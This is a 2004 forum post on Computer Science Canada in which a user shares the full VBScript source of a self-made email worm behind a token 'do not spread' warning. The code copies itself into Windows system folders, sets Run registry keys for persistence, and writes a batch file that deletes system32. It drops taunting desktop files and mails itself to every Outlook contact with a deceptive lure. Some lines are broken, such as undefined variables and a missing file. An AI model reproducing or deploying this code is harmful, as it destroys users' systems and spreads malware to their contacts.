Computer Science Canada VBScript Worm |
Author: | Maverick [ Wed Apr 14, 2004 9:46 pm ] |
Post subject: | VBScript Worm |
Please do not spread this program, its quite destructive, and you'll get yourself in shit. Thanks. Thisis a worm i made using visual basic script, similar to VB 'testvirus c0ded by Mav On Error Resume Next msgbox "°"¢[ c0ded by Mav ]"¢Â°", vbOKOnly, "Mav 0wnZ j00 AsS" set fso=CreateObject("Scripting.FileSystemObject") fso.CopyFile Wscript.ScriptFullName, "C:\WINDOWS\SYSTEM\MicroshitWinblows.vbs", True set fso=CreateObject("Scripting.FileSystemObject") fso.CopyFile Wscript.ScriptFullName, "C:\WINNT\system32\MicroshitWinblows.vbs", True Set WScriptShell = CreateObject ("WScript.Shell") WScriptShell.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\Run\", "C:\WINDOWS\SYSTEM\MicroshitWinblows.vbs" Set FileSystemObject = CreateObject("Scripting.filesystemobject") Set WScriptShell = CreateObject ("WScript.Shell") WScriptShell.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Run\", "C:\WINNT\system32\MicroshitWinblows.vbs" Set FileSystemObject = CreateObject("Scripting.filesystemobject") msgbox "This wouldn't have happened in Linux.. You suck Gates..", vbOKOnly, "HAHA" Dim shell, batch1, batch2, fso set fso=CreateObject("Scripting.FileSystemObject") fso.CopyFile Wscript.ScriptFullName, "C:\Windows.vbs", True set batch1=fso.CreateTextFile("C:\AutoRun.bat") batch1.WriteLine "cls" batch1.WriteLine "@echo off" batch1.WriteLine "cscript C:\Windows.vbs" batch1.Close set batch2=CreateTextFile("C:\Command.bat") batch2.Writeline "del %systemroot%\system32\*.*" batch2.WriteLine "cls" batch2.WriteLine "@echo off" batch2.WriteLine "for %%a in (*.bat) do copy %0 %%a" batch2.Close shell.Run "C:\lnk.bat" Set payload1 = CreateObject("Scripting.FileSystemObject") Set tFile = payload1.CreateTextFile("C:\WINDOWS\Desktop\HELLO USER!.txt") Set tFile2 = payload1.CreateTextFile("C:\Documents and Settings\All Users\Desktop\HELLO USER!.txt") tFile.WriteLine "Tsk tsk, doesnt Microsoft suck? °"¢[ c0ded by Mav ]"¢Â°" tFile2.WriteLine "Tsk tsk, doesnt Microsoft suck? °"¢[ c0ded by Mav ]"¢Â°" Dim x on error resume next Set fso ="Scripting.FileSystem.Object" Set so=CreateObject(fso) Set ol=CreateObject("Outlook.Application") Set out= WScript.CreateObject("Outlook.Application") Set mapi = out.GetNameSpace("MAPI") Set a = mapi.AddressLists(1) For x=1 To a.AddressEntries.Count Set Mail=ol.CreateItem(0) Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x) Mail.Subject="Hey!!!" Mail.Body="Here's that document I was telling you about last week! You'll love it, it reminds me of you!" Mail.Attachments.Add Wscript.ScriptFullName Mail.Send Next ol.Quit dim fso, mav,mytext set fso = createobject("scripting.filesystemobject") set mav = fso.opentextfile(wscript.scriptfullname) mytext = lecusis.readall mav.close do if fso.fileexists(wscript.scriptfullname) = false then set myself = fso.createtextfile(wscript.scriptfullname) mav.write mytext mav.close end if loop |